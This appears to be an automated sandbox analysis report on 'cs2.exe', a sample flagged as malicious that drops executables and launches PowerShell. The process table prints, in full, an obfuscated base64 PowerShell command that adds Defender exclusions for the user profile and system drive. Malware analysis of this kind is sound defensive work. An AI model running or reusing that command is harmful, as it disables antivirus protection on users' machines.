| File name: | cs2.exe |
| Full analysis: | https://app.any.run/tasks/f819691c-9553-440c-86d9-4cae788827fe |
| Verdict: | Malicious activity |
| Analysis date: | January 14, 2024, 19:01:04 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows |
| MD5: | E9211EE72F3B6B14423579889D7A8319 |
| SHA1: | F207D89647F7CE6311E2237A24185D45CE744D88 |
| SHA256: | 4A43E95020312D2BC4725F469E6BA1FA66D164842584B916F24606350AB728F6 |
| SSDEEP: | 98304:KXnpDXYx3cQDeOO+io2NJ7uhL9qw6ZWdO5i1mr0Nj1uTJCHvPUv9q5VsK8qIhDTH:mnkY5iBGEl/ |
MALICIOUS
Drops the executable file immediately after the start
- cs2.exe (PID: 2064)
SUSPICIOUS
Base64-obfuscated command line is found
- cs2.exe (PID: 2064)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2060)
BASE64 encoded PowerShell command has been detected
- cs2.exe (PID: 2064)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2060)
Starts POWERSHELL.EXE for commands execution
- cs2.exe (PID: 2064)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2060)
Reads the Internet Settings
- cs2.exe (PID: 2064)
- powershell.exe (PID: 2024)
- cs2.exe (PID: 1832)
- powershell.exe (PID: 1820)
- cs2.exe (PID: 2740)
- powershell.exe (PID: 452)
- cs2.exe (PID: 2060)
- powershell.exe (PID: 2960)
Executable content was dropped or overwritten
- cs2.exe (PID: 2064)
Using PowerShell to operate with local accounts
- powershell.exe (PID: 2024)
- powershell.exe (PID: 1820)
- powershell.exe (PID: 452)
- powershell.exe (PID: 2960)
INFO
Reads the computer name
- cs2.exe (PID: 2064)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2060)
Checks supported languages
- cs2.exe (PID: 2064)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2060)
Creates files or folders in the user directory
- cs2.exe (PID: 2064)
Create files in a temporary directory
- cs2.exe (PID: 2064)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2060)
Manual execution by a user
- cs2.exe (PID: 1972)
- cs2.exe (PID: 1832)
- cs2.exe (PID: 2740)
- cs2.exe (PID: 2660)
- notepad++.exe (PID: 1556)
- cs2.exe (PID: 2060)
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TRiD
| .exe | | | Win64 Executable (generic) (61.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.6) |
| .exe | | | Win32 Executable (generic) (10) |
| .exe | | | Win16/32 Executable Delphi generic (4.6) |
| .exe | | | Generic Win/DOS Executable (4.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 0000:00:00 00:00:00 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit, No debug |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 2048 |
| InitializedDataSize: | 6177792 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x14d1 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
Total processes
59
Monitored processes
12
Malicious processes
1
Suspicious processes
3
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 452 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAbQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAdgBjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAZwBiACMAPgA=" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cs2.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
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| 1556 | "C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Desktop\cs2.exe" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | ||||||||||||
User: admin Company: Don HO [email protected] Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Exit code: 0 Version: 7.91 Modules
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| 1820 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAbQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAdgBjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAZwBiACMAPgA=" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cs2.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
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| 1832 | "C:\Users\admin\Desktop\cs2.exe" | C:\Users\admin\Desktop\cs2.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
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| 1972 | "C:\Users\admin\Desktop\cs2.exe" | C:\Users\admin\Desktop\cs2.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
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| 2024 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAbQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAdgBjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAZwBiACMAPgA=" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cs2.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
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| 2040 | "C:\Users\admin\Desktop\cs2.exe" | C:\Users\admin\Desktop\cs2.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
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| 2060 | "C:\Users\admin\Desktop\cs2.exe" | C:\Users\admin\Desktop\cs2.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
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| 2064 | "C:\Users\admin\Desktop\cs2.exe" | C:\Users\admin\Desktop\cs2.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
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| 2660 | "C:\Users\admin\Desktop\cs2.exe" | C:\Users\admin\Desktop\cs2.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
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Total events
5 676
Read events
5 534
Write events
142
Delete events
0
Modification events
| (PID) Process: | (2064) cs2.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2064) cs2.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2064) cs2.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2064) cs2.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2024) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2024) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2024) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2024) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (1832) cs2.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (1832) cs2.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
Executable files
2
Suspicious files
9
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2064 | cs2.exe | C:\Users\admin\AppData\Local\conhost32.exe | executable | |
MD5:0CA285F9A8C43016FFE109A13B0E07A0 | SHA256:880123A7FAC24705FFB6795713D32FDC21679AC00802E72CB54D86814BE4FCF1 | |||
| 452 | powershell.exe | C:\Users\admin\AppData\Local\Temp\n2pytlqs.dnk.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 452 | powershell.exe | C:\Users\admin\AppData\Local\Temp\myvoldfp.re0.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2024 | powershell.exe | C:\Users\admin\AppData\Local\Temp\gmfyazim.k4w.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2064 | cs2.exe | C:\Users\admin\AppData\Local\Temp\cs2-external-esp.exe | executable | |
MD5:DFAE04E92D343BD110609B8194816131 | SHA256:807999620CB4783D5C8F282CC21A6C5829E9F99719CBCDB7A71BDACD58671DAA | |||
| 1820 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ck0a2ocl.aha.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2024 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ih23tnvt.xfe.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1820 | powershell.exe | C:\Users\admin\AppData\Local\Temp\bfeme5ih.nqi.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2024 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 2960 | powershell.exe | C:\Users\admin\AppData\Local\Temp\xb0fyehx.jir.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
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HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
0
Threats
0
HTTP requests
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | unknown |
4 | System | 192.168.100.255:138 | — | — | — | unknown |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
DNS requests
Threats
Process | Message |
|---|---|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
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notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
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notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
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notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
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notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
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notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
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notepad++.exe | ED255D9151912E40DF048A56288E969A8D0DAFA3
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notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
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notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\plugins\Config\nppPluginList.dll
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notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
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